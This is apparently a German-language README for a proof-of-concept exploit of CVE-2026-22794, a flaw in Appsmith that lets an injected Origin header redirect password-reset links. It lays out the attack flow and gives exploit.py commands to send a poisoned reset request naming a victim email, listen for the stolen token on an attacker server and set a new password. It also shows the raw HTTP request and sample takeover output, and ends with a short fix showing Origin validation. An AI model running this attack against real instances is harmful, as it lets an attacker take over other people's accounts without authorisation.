
🔴 CVE-2026-22794 - Appsmith Passwort-Reset-Kontoübernahme durch Origin-Header-Injection | PoC-Exploit + Nuclei-Template
Passwort-Reset-Link-Übernahme durch Manipulation des Origin-Headers
Dieses Repository enthält einen Proof of Concept (PoC)-Exploit für CVE-2026-22794, eine kritische Schwachstelle in Appsmith, die es Angreifern ermöglicht, Passwort-Reset-Tokens zu übernehmen und eine vollständige Kontenübernahme zu erreichen.
| Feld | Wert |
|---|
| CVE-ID | CVE-2026-22794 |
| Betroffene Software | Appsmith (Versionen vor dem Patch) |
| Schwachstellentyp | Origin-Header-Injection |
| Auswirkung | Vollständige Kontenübernahme |
| CVSS-Score | 9.1 (Kritisch) |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Berechtigungen | Keine |
| Benutzerinteraktion | Erforderlich (Opfer klickt auf Link) |
Appsmith verwendet den HTTP-Origin-Header ohne Validierung, um URLs für Passwort-Reset und E-Mail-Verifizierung zu erstellen. Der anfällige Code weist den Origin-Header direkt der Basis-URL für den Passwort-Reset zu:
userPasswordDTO.setBaseUrl(originHeader);
Dies ermöglicht einem Angreifer:
┌─────────────────────────────────────────────────────────────────┐
│ ANGRIFFSABLAUF │
└─────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────┐ ┌──────────┐
│ ANGREIFER│ │ APPSMITH │ │ OPFER │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /forgotPassword │ │
│ Origin: attacker.com │ │
│ email: [email protected] │ │
│──────────────────────────────>│ │
│ │ │
│ │ 2. E-Mail mit │
│ │ attacker.com/reset?token │
│ │──────────────────────────────>│
│ │ │
│ 3. Opfer klickt auf Link │ │
│<──────────────────────────────────────────────────────────────│
│ │ │
│ 4. Token erfasst! │ │
│ │ │
│ 5. POST /resetPassword │ │
│ token: GESTOHLENES_TOKEN │ │
│ password: attacker123 │ │
│──────────────────────────────>│ │
│ │ │
│ 6. KONTENÜBERNAHME! ✓ │ │
│ │ │
# Repository klonen
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# Abhängigkeiten installieren
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
Passwort-Reset-Link: https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] EINGEHENDE ANFRAGE ERFASST!
[*] Pfad: /user/resetPassword?token=abc123xyz789...
[!!!] PASSWORT-RESET-TOKEN ERFASST!
[!!!] Token: abc123xyz789...
[+] KONTENÜBERNAHME ERFOLGREICH!
[+] Passwort wurde zurückgesetzt auf: NewP@ssw0rd!
Organisationen, die Appsmith verwenden, sollten:
// ❌ VERWUNDBARER CODE
userPasswordDTO.setBaseUrl(originHeader);
// ✅ SICHERER CODE
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// Oder gegen Whitelist validieren
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("Ungültiger Origin-Header");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
├── README.md # Diese Datei
├── exploit.py # Haupt-Exploit-Skript
├── requirements.txt # Python-Abhängigkeiten
├── LICENSE # MIT-Lizenz
└── docs/
└── technical_analysis.md # Detaillierte Schwachstellenanalyse
Dieses Tool wird nur für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt.
Sicherheitsforscher
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
⭐ Wenn Sie dies nützlich fanden, bitte markieren Sie das Repository mit einem Stern! ⭐